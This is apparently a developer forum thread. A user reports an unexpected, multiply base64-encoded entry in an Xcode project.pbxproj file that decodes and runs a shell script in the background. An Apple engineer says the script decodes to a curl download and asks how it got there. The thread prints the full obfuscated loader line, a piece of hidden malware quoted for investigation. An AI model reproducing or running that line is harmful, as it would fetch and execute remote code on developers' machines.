Unexpected entry being added to my project's project.pbxproj file by Xcode

I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode:

AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)";

This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding.

Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file?

For context:

  • The entry appears automatically in the project file.

  • We are concerned because it resembles an obfuscated shell script that executes commands during the build process.

  • We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised.

If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them.

Thank you for your assistance.

Xcode does not do this. A colleague of mine decoded the layers of base64 to eventually arrive at a shell script with a curl command that I won't post here, but it points to a HTTPS URL under the .in top-level domain. Is there a reason your project needs to curl to such a URL during the build?

Do you have a history of the project, such as in git, that allows you to backtrack to the point in time where this script was added and why, or by whom or what tool?

If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them.

This would be great — if you could zip up your Xcode project file (the .xcodeproj) and attach it to a bug report, I'd appreciate that, along with any other information you can share around the history of your project that lets you trace why this was added to your Xcode project. Please post the FB number back to this thread so I can locate it.

One important note for script build phases is that you keep the sandbox enabled, which is controlled by the ENABLE_USER_SCRIPT_SANDBOXING in the build settings. The build system uses this to disallow undeclared input/output dependencies. This is enabled by default, and is what we recommend, but some projects may need to disable this depending on the scope of how scripts in their project operate. It would also be useful to know if your project has an intentional reason to disable that setting.

Finally, I'd like to hear about how you and everyone who accesses your Xcode project installs Xcode — does everyone download it directly from ether the Apple Developer website or App Store?

— Ed Ford,  DTS Engineer

It was first added around December 2025. We noticed that it was inserted automatically around the same time some of our teammates were using Claude Code.

I have already shared the Xcode project file. The Feedback Assistant report number is FB23869610.

Also, we install Xcode directly from the App Store.

Unexpected entry being added to my project's project.pbxproj file by Xcode
 
 
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